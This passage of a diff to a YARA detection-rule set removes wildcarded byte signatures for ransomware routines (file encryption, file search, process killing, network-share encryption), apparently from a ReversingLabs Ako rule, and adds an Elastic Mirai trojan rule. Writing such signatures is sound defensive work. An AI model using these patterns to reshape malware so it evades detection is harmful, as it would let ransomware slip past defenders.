-            55 41 57 41 56 41 55 41 54 56 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D AC 24
-            ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ??
-            ?? ?? ?? 48 98 48 89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
-            89 85 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C1 4C 8D 4D
-            ?? 4C 8D 45 ?? 48 8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48
-            89 54 24 ?? 48 8B 95 ?? ?? ?? ?? 48 89 54 24 ?? 48 89 CA 48 89 C1 E8 ?? ?? ?? ?? 48
-            8D 45 ?? 48 8B 95 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45
-            ?? 48 8B 95 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48
-            89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA
-            48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA
-            ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C2
-            48 8D 85 ?? ?? ?? ?? 41 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 B8 ??
-            ?? ?? ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8B 45 ?? 48 8D
-        }
-		$encrypt_files_p2 = {
-            95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8B 85 ??
-            ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ??
-            ?? 48 83 C0 ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95
-            ?? ?? ?? ?? 48 8D 4A ?? 41 B8 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ??
-            ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 29
-            C2 48 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 39 85 ?? ?? ?? ?? 0F 8D ?? ?? ??
-            ?? 48 89 E0 48 89 C6 48 8B 85 ?? ?? ?? ?? 48 8D 50 ?? 48 85 C0 48 0F 48 C2 48 C1 F8
-            ?? 48 C1 E0 ?? 48 89 85 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 8D 43 ?? 48 89 85 ?? ??
-            ?? ?? 48 89 D8 49 89 C4 41 BD ?? ?? ?? ?? 48 89 D8 49 89 C6 41 BF ?? ?? ?? ?? 48 89
-            D8 48 83 C0 ?? 48 C1 E8 ?? 48 C1 E0 ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D 44 24 ?? 48 83
-            C0 ?? 48 89 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ??
-            ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 41 89 D9 4C 8B 85 ?? ?? ?? ?? 48 89 E9 48 8D
-            55 ?? 48 8B 85 ?? ?? ?? ?? 44 89 4C 24 ?? 4D 89 C1 49 89 C8 48 89 C1 E8 ?? ?? ?? ??
-            48 8B 85 ?? ?? ?? ?? F7 D8 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 63 D0 48 8D 85 ??
-            ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48
-            8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 2B 85
-            ?? ?? ?? ?? 48 89 C2 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8
-        }
-		$encrypt_files_p3 = {
-            48 89 DA 48 8B 85 ?? ?? ?? ?? 48 01 D0 48 89 85 ?? ?? ?? ?? 90 48 89 F4 E9 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? 48 63 C8 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48
-            89 C1 E8 ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 89 E9 48 8D 55 ?? 48 8B 85 ?? ?? ?? ??
-            C7 44 24 ?? ?? ?? ?? ?? 4D 89 C1 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            F7 D8 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 63 D0 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ??
-            ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48 8D 95 ?? ?? ?? ?? 48
-            8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 89 85 ??
-            ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 F0 ?? 84
-            C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 48 98 48 8D 55 ?? 48 01 C2 48 89 E9 48 8B 85 ?? ?? ??
-            ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8D 45 ?? 48 8D 95 ?? ?? ??
-            ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 8B 45 ?? 4C 63 C0 48 8B 45 ?? 48 8D 95 ?? ??
-            ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ??
-            48 8D 95 ?? ?? ?? ?? 48 8D 4A ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 83
-            C0 ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ??
-            ?? 48 8D 4A ?? 41 B8 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89
-         }
-		$encrypt_files_p4 = {
-            C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1
-            E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 B8
-            ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 89
-            C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 84 DB 74 ?? 48 8D 45 ?? 48 89 C1 E8
-            ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ??
-            48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA 48 89 C1 48 8B 05 ?? ?? ?? ??
-            FF D0 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D
-            85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 F4 48 89 C3 EB ?? 48 89 C3 48 8D
-            85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ??
-            ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ??
-            ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 8D A5 ?? ??
-            ?? ?? 5B 5E 41 5C 41 5D 41 5E 41 5F 5D C3
-        }
-		$find_files_p1 = {
-            55 56 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ??
-            ?? ?? ?? 48 8D 45 ?? BB ?? ?? ?? ?? 48 89 C6 EB ?? 48 89 F1 E8 ?? ?? ?? ?? 48 83 EB
-            ?? 48 83 C6 ?? 48 85 DB 79 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0
-            0F 95 C0 84 C0 74 ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ??
-            ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ??
-            ?? ?? ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ??
-            84 C0 74 ?? 48 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85
-            ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ??
-            ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ??
-            ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 84 C0 74 ?? 48 8D 45 ?? 8B 95 ?? ?? ?? ?? 48 63
-            D2 48 C1 E2 ?? 48 01 C2 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1
-            E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48
-        }
-		$find_files_p2 = {
-            89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 8B 95 ?? ?? ?? ?? 48 63 D2 48 C1 E2 ?? 48 01 C2 48
-            8D 85 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D
-            85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ??
-            83 85 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? C6 05 ??
-            ?? ?? ?? ?? 48 8D 5D ?? 48 81 C3 ?? ?? ?? ?? 48 8D 45 ?? 48 39 C3 74 ?? 48 83 EB ??
-            48 89 D9 E8 ?? ?? ?? ?? EB ?? 90 E9 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89
-            C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ??
-            ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89
-            C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C3 48 8D 85 ??
-            ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DE EB ?? 48 89 C6 48 8D 5D ?? 48 81 C3 ?? ??
-            ?? ?? 48 8D 45 ?? 48 39 C3 74 ?? 48 83 EB ?? 48 89 D9 E8 ?? ?? ?? ?? EB ?? 90 48 89
-            F0 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? ?? 5B 5E 5D C3
-        }
-		$check_processes = {
-            55 53 48 83 EC ?? 48 8D 6C 24 ?? 48 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? EB ?? 8B 45 ?? 48 98 48 8D 14 C5 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 8B 1C 02 48
-            8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 85
-            C0 0F 95 C0 84 C0 74 ?? B8 ?? ?? ?? ?? EB ?? 83 45 ?? ?? 8B 45 ?? 3B 45 ?? 7C ?? B8
-            ?? ?? ?? ?? 48 83 C4 ?? 5B 5D C3
-        }
-		$kill_file_processes_p1 = {
-            55 56 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? C6 85 ??
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF C0
-            0F 11 45 ?? F3 0F 6F 4D ?? 0F 11 8D ?? ?? ?? ?? F3 0F 6F 55 ?? 0F 11 95 ?? ?? ?? ??
-            F3 0F 6F 5D ?? 0F 11 9D ?? ?? ?? ?? F3 0F 6F 65 ?? 0F 11 A5 ?? ?? ?? ?? 0F B7 45 ??
-            66 89 85 ?? ?? 00 00 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ??
-            ?? 48 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 94 C0 84 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 41 B9
-            ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 85 C0 0F 94 C0
-            84 C0 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 4C
-            8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24 ?? 41 B9 ??
-            ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ??
-            8B 85 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 C0 48 69 F0 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF
-            D0 49 89 F0 BA ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? ?? ?? ??
-            48 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 4C 8B 8D ?? ??
-            ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24
-        }
-		$kill_file_processes_p2 = {
-            89 C1 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 85 ?? ?? ?? ??
-            85 C0 75 ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8B 95 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ?? ??
-            48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ??
-            ?? ?? E9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0
-            89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48
-            98 48 69 D0 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 01 D0 8B 00 39 85 ?? ?? ?? ?? 75 ??
-            48 8B 05 ?? ?? ?? ?? FF D0 48 8B 95 ?? ?? ?? ?? 49 89 D0 BA ?? ?? ?? ?? 48 89 C1 48
-            8B 05 ?? ?? ?? ?? FF D0 8B 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 69 D0 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 01 D0
-            8B 00 41 89 C0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ??
-            ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 85 ?? ?? ?? ??
-            41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ??
-            ?? ?? ?? FF D0 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48
-            8D 55 ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1
-            E8 ?? ?? ?? ?? 48 8D 45 ?? 49 C7 C0 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ??
-            ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C0 ?? 48 63 C8 48 8D 45 ?? 48 8D 55
-            ?? 49 C7 C1 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 85 ?? ??
-            ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8
-        }
+		$a = { 74 2C 48 8B 03 48 83 E0 FE 48 29 C3 48 8B 43 08 48 83 E0 FE 4A 8D }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($check_processes) and ( all of ($kill_file_processes_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Ako : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_7D05725E : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Ako ransomware."
-		author = "ReversingLabs"
-		id = "00d67696-998c-5bc3-95e7-0320ca558cdb"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Ako.yara#L1-L152"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "488e9b528f75fcfaa8dd19859801e6e5a73575c33cd70c98ebaa9ae93025018b"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "7d05725e-db59-42a7-99aa-99de79728126"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L871-L889"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb"
+		logic_hash = "ac2d0b81325ce7984bc09f93e61b42c8e312a31c75f09d37313d70cd40d3cf8b"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Ako"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "7fcd34cb7c37836a1fa8eb9375a80da01bda0e98c568422255d83c840acc0714"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_network_shares_win32_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 50 8D 4D ?? E8 ?? ??
-            ?? ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C8 85 C9 0F 85 ?? ?? ?? ?? 8B
-            4D ?? E8 ?? ?? ?? ?? 0F B6 D0 85 D2 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 45
-            ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B6 D0 85 D2 0F
-            85 ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95
-            ?? ?? ?? ?? 52 8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 52
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
-        }
-		$encrypt_network_shares_win32_p2 = {
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95 ??
-            ?? ?? ?? 52 8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 52
-            8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ??
-            E8 ?? ?? ?? ?? 0F B6 C8 85 C9 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 55 ??
-            83 C2 ?? 89 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 39 45 ?? 73 ?? 83 7D ?? ?? 76 ?? 8B 45
-        }
-		$encrypt_network_shares_win32_p3 = {
-            33 D2 B9 ?? ?? ?? ?? F7 F1 85 D2 75 ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 4D ?? E8
-            ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 45 ?? EB ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ??
-            8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 55 ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            8B 4D ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 50 8D 95 ?? ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
-            ?? 50 8B 4D ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 8D
-            4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? 8A 45 ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
-            ?? ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D
-            C2
-        }
-		$find_files_win32_p1 = {
